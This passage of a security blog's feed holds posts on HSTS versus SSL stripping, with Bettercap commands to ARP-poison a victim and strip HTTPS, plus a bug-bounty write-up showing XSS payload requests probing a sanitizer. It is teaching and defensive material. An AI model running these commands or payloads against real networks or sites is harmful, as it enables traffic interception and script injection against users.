  &lt;li&gt;&lt;strong&gt;3.&lt;/strong&gt; In your control panel, go to the redirection form and perform a redirection to the place you have the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Javascript&lt;/code&gt; file. This is not a &lt;strong&gt;DNS redirection&lt;/strong&gt;, is a &lt;strong&gt;server redirection&lt;/strong&gt;, so there will be not certificate mismatch error because the url is presenting a valid certificate generated in &lt;strong&gt;step 2&lt;/strong&gt;.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;4.&lt;/strong&gt; Redirection is performed and execution triggered.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20191130/6.png&quot; alt=&quot;Schema1&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20191130/4.png&quot; alt=&quot;Alert&quot; /&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;references&quot;&gt;References&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Unicode_equivalence&quot;&gt;Unicode equivalence&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://medium.com/@mohameddaher/how-i-paid-2-for-1054-xss-bug-20-chars-blind-xss-payloads-12d32760897b&quot;&gt;How I paid 2$ for a 1054$ XSS bug + 20 chars blind XSS payloads&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;
</description>
          <pubDate>2019-11-30T00:00:00+01:00</pubDate>
          <link>https://jlajara.gitlab.io/XSS_20_characters</link>
          <guid isPermaLink="true">https://jlajara.gitlab.io/XSS_20_characters</guid>
        </item>
      
    
      
        <item>
          <title>HSTS vs SSL Stripping attacks.</title>
          <description>&lt;meta property=&quot;og:title&quot; content=&quot;HSTS vs SSL Stripping attacks&quot; /&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20191111/0.png&quot; alt=&quot;Image 1&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;HTTP Strict Transport Security (HSTS)&lt;/strong&gt; is a web server security policy that forces web browsers to respond via HTTPS connections rather than HTTP. But do users pay attention to this? How effective are SSL Stripping attacks against modern websites? How is HSTS well implemented?&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;how-hsts-works&quot;&gt;How HSTS works?&lt;/h2&gt;

&lt;p&gt;When a URL is entered in the web browser and the protocol part is omitted, for example, by typing &lt;strong&gt;jlajara.gitlab.io&lt;/strong&gt; instead of &lt;strong&gt;https://jlajara.gitlab.io&lt;/strong&gt;, the browser assumes that you want to use the &lt;strong&gt;HTTP&lt;/strong&gt; protocol. The HTTP protocol sends the information in plain text, therefore it is considered a vulnerable protocol. Any attacker in the same network performing a &lt;strong&gt;MITM&lt;/strong&gt; (Man-in-the-middle) attack could read this information.&lt;/p&gt;

&lt;p&gt;Normally, in this situation, the web server responds with a redirection (&lt;em&gt;response code 301&lt;/em&gt;) pointing to the HTTPS site. Then, a HTTPS connection is established with https://jlajara.gitlab.io.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20191111/1.png&quot; alt=&quot;Image 1&quot; /&gt;&lt;/p&gt;

&lt;p&gt;In order to prevent that in later cases the information will be send in plain text again by mistake, using the HTTP protocol, the server responds with a &lt;strong&gt;header&lt;/strong&gt; to apply the HSTS security policy once the HTTPS connection has been made. This header is called &lt;strong&gt;HSTS Header&lt;/strong&gt; and looks like this:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This header gives specific instructions to the browser. From now on, each connection to the site and its subdomains for the next year (31536000 seconds) from the moment you receive this header, must be an HTTPS connection. HTTP connections are not allowed at all. If the browser receives a request to load a resource using HTTP, you should try it with an HTTPS request. &lt;strong&gt;If HTTPS is not available, the connection must be terminated.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20191111/2.png&quot; alt=&quot;Image 2&quot; /&gt;&lt;/p&gt;

&lt;p&gt;In addition, &lt;strong&gt;if the certificate is invalid the connection will be terminated&lt;/strong&gt;. Normally, if a certificate is invalid (expired, self-signed, signed by an unknown CA, etc.), the browser displays a warning that you can bypass. However, if the site is configured with HSTS, the browser will not allow you to bypass the warning at all. To access the site, you must remove it from the HSTS list of the browser.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Strict-Transport-Security header is sent for a given website and covers a particular domain name&lt;/strong&gt;. Therefore, the HSTS header for &lt;em&gt;test.jlajara.gitlab.io&lt;/em&gt; will not cover &lt;em&gt;jlajara.gitlab.io&lt;/em&gt;, only &lt;em&gt;test&lt;/em&gt; subdomain. Therefore, for complete protection, an include call must be included to the base domain (in this case, &lt;em&gt;jlajara.gitlab.io&lt;/em&gt;) and receive a &lt;strong&gt;Strict-Transport-Security security header for that domain with the includeSubDomains directive.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;In addition, the browser ignores the Strict-Transport-Security header when accessing your site forzing the HTTP schema.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;how-bad-hsts-implementations-could-be-exploited&quot;&gt;How bad HSTS implementations could be exploited?&lt;/h2&gt;

&lt;p&gt;The absence of HSTS can trigger an attack when:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;User writes &lt;strong&gt;http://jlajara.gitlab.io&lt;/strong&gt; through bookmarks or enters it manually and is subject to an attacker of the type &lt;strong&gt;Man-in-the-middle&lt;/strong&gt;.&lt;/li&gt;
  &lt;li&gt;A web application that is intended to be purely HTTPS inadvertently contains HTTP links or serves content over HTTP.&lt;/li&gt;
  &lt;li&gt;HSTS is implemented in a subdomain but not in the root domain.&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;ssl-strip&quot;&gt;SSL Strip&lt;/h2&gt;

&lt;p&gt;In order to simulate an attack scenario, two virtual machines (victim and attacker) were placed on the same network.&lt;/p&gt;

&lt;p&gt;The attack is known as &lt;strong&gt;SSL Strip&lt;/strong&gt; and consists on the following:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;1.&lt;/strong&gt; An attacker performs a &lt;strong&gt;Man-in-the-middle&lt;/strong&gt; attack by poisoning the victim’s &lt;em&gt;ARP table&lt;/em&gt;.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2.&lt;/strong&gt;The victim’s HTTP traffic is redirected to a proxy created by the attacker.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;3.&lt;/strong&gt;The attacker sends the victim’s traffic over HTTPS and serves the content of the response to the victim over HTTP.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;4.&lt;/strong&gt;The traffic generated by the victim is read by the attacker and sent to the server continuously.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20191111/3.png&quot; alt=&quot;Image 3&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This technique was discovered by Moxie Marlinspike an presented at BlackHat 2009: &lt;a href=&quot;https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf&quot;&gt;Slides&lt;/a&gt; - &lt;a href=&quot;https://www.youtube.com/watch?v=MFol6IMbZ7Y&quot;&gt;Video&lt;/a&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;exploitation&quot;&gt;Exploitation&lt;/h2&gt;

&lt;p&gt;To properly perform a MiTM attack, an attacker should poison the victim’s ARP table. To do this, the attacker would continuously send ARP packets to the victim, stating that the gateway IP is the attacker’s machine. The traffic will be sent to the attacker and he will send it back to the gateway, allowing it to be placed in the middle of the connection. This technique is known as &lt;strong&gt;ARP Poisoning&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://github.com/bettercap/bettercap&quot;&gt;Bettercap&lt;/a&gt;&lt;/strong&gt; can be used for this. It also includes a module to automatically set a proxy and perform SSLStrip.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; It is important to use Bettercap version 1.x, as during the writing of this document, version 2.x does not perform SSLStrip correctly.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Installation:&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;apt-get install ruby-full
apt-get install libpcap-dev
gem update --system
gem install bettercap
ln -s /var/lib/gems/2.5.0/gems/bettercap-1.6.2/bin/bettercap /root/bettercap-1.6.2
./root/bettercap-1.6.2
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Once installed, to perform a MyTM attack with SSLStrip the following command is executed:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;./bettercap-1.6.2 -T &amp;lt;victim_ip&amp;gt; --proxy
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;The modules that are being executed are showed:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[ spoofing:✔ discovery:✘ sniffer:✘ tcp-proxy:✘ udp-proxy:✘ http-proxy:✔ https-proxy:✘ sslstrip:✔ http-server:✘ dns-server:✔ ] ...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;common-hsts-cases&quot;&gt;Common HSTS cases&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;#case1&quot;&gt;Web servers with HSTS properly implemented and HSTS is preloaded in the browser ✅✅&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#case2&quot;&gt;Web servers with HSTS properly implemented and HSTS is not preloaded in the browser ✅&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#case3&quot;&gt;Web servers with a badly HSTS configuration ❌&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#case4&quot;&gt;Web servers withous HSTS ❌❌&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;web-servers-with-hsts-properly-implemented-and-hsts-is-preloaded-in-the-browser-&quot;&gt;&lt;a name=&quot;case1&quot;&gt;&lt;/a&gt;Web servers with HSTS properly implemented and HSTS is preloaded in the browser ✅✅&lt;/h3&gt;

&lt;p&gt;In this case, the first web request is made with HTTPS, &lt;em&gt;facebook.com&lt;/em&gt; could be checked.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20191111/4.png&quot; alt=&quot;Image 3&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The first HTTP packet forces the use of HTTPS, making it &lt;em&gt;immune to SSLStrip&lt;/em&gt;.&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;web-servers-with-hsts-properly-implemented-and-hsts-is-not-preloaded-in-the-browser-&quot;&gt;&lt;a name=&quot;case2&quot;&gt;&lt;/a&gt;Web servers with HSTS properly implemented and HSTS is not preloaded in the browser ✅&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;1.&lt;/strong&gt; The first web request is made using HTTP.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2.&lt;/strong&gt; A redirection to the &lt;strong&gt;main domain&lt;/strong&gt; is performed forzing HTTPS.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;3.&lt;/strong&gt; The HTTPS response cointains the HSTS header and &lt;strong&gt;applies HSTS to all the domain and subdomains&lt;/strong&gt;.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;4.&lt;/strong&gt; Each time the browser tries to connect to the URL, HTTPS is forced.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In this case &lt;em&gt;yahoo.com&lt;/em&gt; has been used as an example.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20191111/5.png&quot; alt=&quot;Image 4&quot; /&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;web-servers-with-a-badly-hsts-configuration-&quot;&gt;&lt;a name=&quot;case3&quot;&gt;&lt;/a&gt;Web servers with a badly HSTS configuration ❌&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;1.&lt;/strong&gt; The first web request is made using HTTP.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2.&lt;/strong&gt; The web page redirects to &lt;strong&gt;another subdomain&lt;/strong&gt; where it adds HSTS forzing HTTPS. However, &lt;strong&gt;this HSTS header is only applied to the subdomain where it redirects and not to the main domain&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For example, when you make a request to &lt;em&gt;outlook.com&lt;/em&gt;, the first request is HTTP and makes a redirection to the subdomain &lt;em&gt;https://www.outlook.com&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20191111/6.png&quot; alt=&quot;Image 5&quot; /&gt;&lt;/p&gt;

&lt;p&gt;HSTS is applied to the subdomain &lt;em&gt;www.outlook.com&lt;/em&gt;, but not to the main domain &lt;em&gt;outlook.com&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20191111/7.png&quot; alt=&quot;Image 6&quot; /&gt;&lt;/p&gt;

&lt;p&gt;An attacker could impersonate another &lt;em&gt;outlook.com&lt;/em&gt; subdomain by poisoning the DNS and cloning the DNS content, since HSTS only applies to www.outlook.com. In this case, a fake subdomain is set at &lt;em&gt;wwwww.outlook.com&lt;/em&gt; faking the web content of the victim.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20191111/8.png&quot; alt=&quot;Image 7&quot; /&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;web-servers-withous-hsts-&quot;&gt;&lt;a name=&quot;case4&quot;&gt;&lt;/a&gt;Web servers withous HSTS ❌❌&lt;/h3&gt;

&lt;p&gt;In this case, all requests are made using HTTP. There is no security mechanism that forces the use of HTTPS after a second request is performed.&lt;/p&gt;

&lt;p&gt;For example, when you visit &lt;em&gt;webs.com&lt;/em&gt;, there is a redirection to https://webs.com.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20191111/9.png&quot; alt=&quot;Image 8&quot; /&gt;&lt;/p&gt;

&lt;p&gt;However, HSTS is not applied.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20191111/10.png&quot; alt=&quot;Image 9&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Therefore, any next request will maintain the HTTP protocol and a SSLStrip could be performed.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20191111/11.png&quot; alt=&quot;Image 10&quot; /&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;correct-implementation&quot;&gt;Correct implementation&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;Serve a valid certificate.&lt;/li&gt;
  &lt;li&gt;Redirect from HTTP to HTTPS on the same host (if listening on port 80).&lt;/li&gt;
  &lt;li&gt;Serve all subdomains over HTTPS.
    &lt;ul&gt;
      &lt;li&gt;In particular, HTTPS must be supported for the www subdomain if a DNS record exists for that subdomain.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Serve an HSTS header in the base domain for HTTPS requests:
    &lt;ul&gt;
      &lt;li&gt;The maximum age must be at least 31536000 seconds (1 year).&lt;/li&gt;
      &lt;li&gt;The includeSubDomains directive must be specified.&lt;/li&gt;
      &lt;li&gt;If an additional redirection from the HTTPS site is serving, that redirection must have the HSTS header (instead of the page it redirects to).&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;To check the HSTS status of a webpage &lt;a href=&quot;https://hstspreload.org/&quot;&gt;hstspreload.org&lt;/a&gt; is the best option.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;references&quot;&gt;References&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/HTTP_Strict_Transport_Security_Cheat_Sheet.html&quot;&gt;OWASP – HTTP Stric Transport Security Cheat Sheet&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://www.acunetix.com/blog/articles/what-is-hsts-why-use-it/&quot;&gt;Acunetix – What is HSTS and why should I use it?&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;http://www.ethicalpentest.com/2018/08/bettercap-with-sslstrip-attack-hsts.html&quot;&gt;EthicalPentest – Bettercap with SSLSTRIP attack - Does it still works?&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;
</description>
          <pubDate>2019-11-11T00:00:00+01:00</pubDate>
          <link>https://jlajara.gitlab.io/HSTS</link>
          <guid isPermaLink="true">https://jlajara.gitlab.io/HSTS</guid>
        </item>
      
    
      
        <item>
          <title>Common Cross-Site Scripting scenarios. 3 Bug Bounty cases</title>
          <description>&lt;meta property=&quot;og:title&quot; content=&quot;Common Cross-Site Scripting scenarios. 3 Bug Bounty cases&quot; /&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20191010/0.png&quot; alt=&quot;Title&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Cross-Site Scripting (XSS)&lt;/strong&gt; is one of the most common vulnerabilities found across a web penetration testing. In this post, a few common XSS exploitation techniques discovered in Bug Bounty programms will be shown. Endpoints are &lt;em&gt;Redacted&lt;/em&gt; to deny information leaks.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;#case1&quot;&gt;A non-recursive sanitizer 🥉&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#case2&quot;&gt;Input vector inside &lt;em&gt;on&lt;/em&gt; elements 🥈&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#case3&quot;&gt;Custom headers and Web Cache Poisoning 🥇&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;a-non-recursive-sanitizer-&quot;&gt;&lt;a name=&quot;case1&quot;&gt;&lt;/a&gt;A non-recursive sanitizer 🥉&lt;/h2&gt;

&lt;p&gt;After some URL parameters enumeration, an interesting parameter &lt;em&gt;csrfToken&lt;/em&gt; got reflected in the response without escaping &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;&lt;/code&gt; characters.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Request:&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;GET /us/en/search-results?keywords=aaa&amp;amp;csrfToken=bbb&amp;lt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;Response:&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;...

&lt;span class=&quot;nt&quot;&gt;&amp;lt;/html&amp;gt;&amp;lt;div&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;id=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'csrfToken'&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;style=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'display:none'&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;bbb&lt;span class=&quot;nt&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;div&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Then, common payloads: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;svg onload='prompt(3)'/&amp;gt;&lt;/code&gt; are tested to check how the backend is validating the input:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Request:&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;GET /us/en/search-results?keywords=aaa&amp;amp;csrfToken=bbb&amp;lt;svg+onload%3d'prompt(3)'/&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;Response:&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/html&amp;gt;&amp;lt;div&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;id=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'csrfToken'&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;style=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'display:none'&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;bbb&lt;span class=&quot;nt&quot;&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Some validation is applied, therefore how validation is performed needs to be tested:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Request 1:&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;GET /us/en/search-results?keywords=aaa&amp;amp;csrfToken=bbbbbb&amp;lt;svg+on/&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;Response 1:&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/html&amp;gt;&amp;lt;div&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;id=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'csrfToken'&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;style=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'display:none'&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;bbb&lt;span class=&quot;nt&quot;&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;Request 2:&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;GET /us/en/search-results?keywords=aaa&amp;amp;csrfToken=bbbbbb&amp;lt;svg+oa/&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;Response 2:&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/html&amp;gt;&amp;lt;div&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;id=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'csrfToken'&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;style=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'display:none'&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&amp;lt;svg&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;oa&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;/&amp;gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;Request 3:&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;GET /us/en/search-results?keywords=aaa&amp;amp;csrfToken=bbb&amp;lt;svg/onload/&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;Response 3:&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;/html&amp;gt;&amp;lt;div&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;id=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'csrfToken'&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;style=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'display:none'&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;bbb&lt;span class=&quot;nt&quot;&gt;&amp;lt;svg&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;onload&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;/&amp;gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;Request 4:&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;GET /us/en/search-results?keywords=aaa&amp;amp;csrfToken=bbb&amp;lt;svg/onload=/&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;Response 4:&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;div&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;id=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'csrfToken'&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;style=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'display:none'&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;bbb&lt;span class=&quot;nt&quot;&gt;&amp;lt;svg&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;/&amp;gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;With these test cases, is confirmed that using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/&lt;/code&gt; instead of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;(white space) &lt;/code&gt; after &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;svg&lt;/code&gt; is more permisive. However, when the backend finds the word &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;onload&lt;/code&gt; with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;=&lt;/code&gt; the response is sanitized. But, it seems that the resulting string is somehow &lt;em&gt;splitted&lt;/em&gt;.&lt;/p&gt;

